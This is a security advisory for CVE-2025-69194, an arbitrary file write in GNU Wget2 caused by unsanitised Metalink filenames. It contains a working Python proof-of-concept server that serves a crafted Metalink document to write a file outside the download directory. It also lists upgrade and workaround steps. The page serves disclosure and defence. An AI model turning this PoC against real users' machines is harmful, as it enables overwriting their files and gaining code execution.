On this page

CVE-2025-69194

- min read

GNU Wget2 through 2.2.0 is vulnerable to arbitrary file write/overwrite via Metalink filename path traversal. This issue is fixed in release 2.2.1.

Vulnerability

In affected versions, libwget parses Metalink filenames (<file name="...">) without sanitization. The name attribute is copied verbatim, e.g.:

if (!ctx->metalink->name && !wget_strcasecmp_ascii(attr, "name")) {
    ctx->metalink->name = wget_strdup(value);
}

Later, wget2 uses that value directly as an output path for file operations, e.g.:

ctx->outfd = open(ctx->job->metalink->name,
    O_WRONLY | O_CREAT | O_NONBLOCK
    | O_BINARY, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);

As a result, a Metalink name like ../pwned.txt or an absolute path can be treated as a literal filesystem path, allowing traversal outside the intended download directory.


This violates RFC 5854’s security requirements for the name attribute, which forbid directory traversal and require relative, non-traversing paths.

Impact

Using Wget2 to download files from malicious servers can result in processing a crafted Metalink document, leading to file creation/overwrite at an attacker-chosen path writable by the user.


This can lead to:

  • Data loss
  • Persistence or code execution in realistic setups by overwriting shell init files, application config, or other files later interpreted/executed by the user

Proof of Concept

The following is a HTTP server, serving a malicious Metalink document at the /ml endpoint.

import hashlib
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

HOST, PORT = "127.0.0.1", 8000
NAME = "/tmp/hi-there.txt"
PAYLOAD = b"METALINK_POC_PAYLOAD\n"

def h(b): return hashlib.sha256(b).hexdigest()

class H(BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def log_message(self, *a): pass

    def do_GET(self):
        if self.path.startswith("/ml"):
            self.send_response(200)
            self.send_header("Content-Type", "application/metalink4+xml; charset=utf-8")
            self.send_header("Content-Length", str(len(self.server.ml)))
            self.end_headers()
            self.wfile.write(self.server.ml)
            return

        if self.path.startswith("/payload"):
            self.send_response(200)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header("Content-Length", str(len(self.server.payload)))
            self.end_headers()
            self.wfile.write(self.server.payload)
            return

        self.send_response(404)
        self.send_header("Content-Length", "0")
        self.end_headers()

def main():
    base = f"http://{HOST}:{PORT}"
    ml = (f'<?xml version="1.0" encoding="UTF-8"?>\n'
          f'<metalink xmlns="urn:ietf:params:xml:ns:metalink">\n'
          f'  <file name="{NAME}">\n'
          f'    <size>{len(PAYLOAD)}</size>\n'
          f'    <hash type="sha-256">{h(PAYLOAD)}</hash>\n'
          f'    <pieces length="{len(PAYLOAD)}" type="sha-256">\n'
          f'      <hash>{h(PAYLOAD)}</hash>\n'
          f'    </pieces>\n'
          f'    <url priority="1">{base}/payload</url>\n'
          f'  </file>\n'
          f'</metalink>\n').encode()

    srv = ThreadingHTTPServer((HOST, PORT), H)
    srv.payload = PAYLOAD
    srv.ml = ml
    print(f"[+] Metalink: {base}/ml  (file name={NAME!r})")
    srv.serve_forever()

if __name__ == "__main__":
    main()

Running wget2 http://localhost:8000/ml will download the contents of the PAYLOAD variable to the filename specified in the NAME variable.

Mitigations

  • Upgrade: Update to GNU Wget2 2.2.1 or later, which includes a fix for the Metalink file overwrite issue.
  • Workaround: Disable Metalink processing (negate the default --metalink option) with:
    • wget2 --no-metalink <url>

References

  1. https://gitlab.com/gnuwget/wget2/-/commit/684be4785280fbe6b8666080bbdd87e7e5299ac5
  2. https://access.redhat.com/security/cve/cve-2025-69194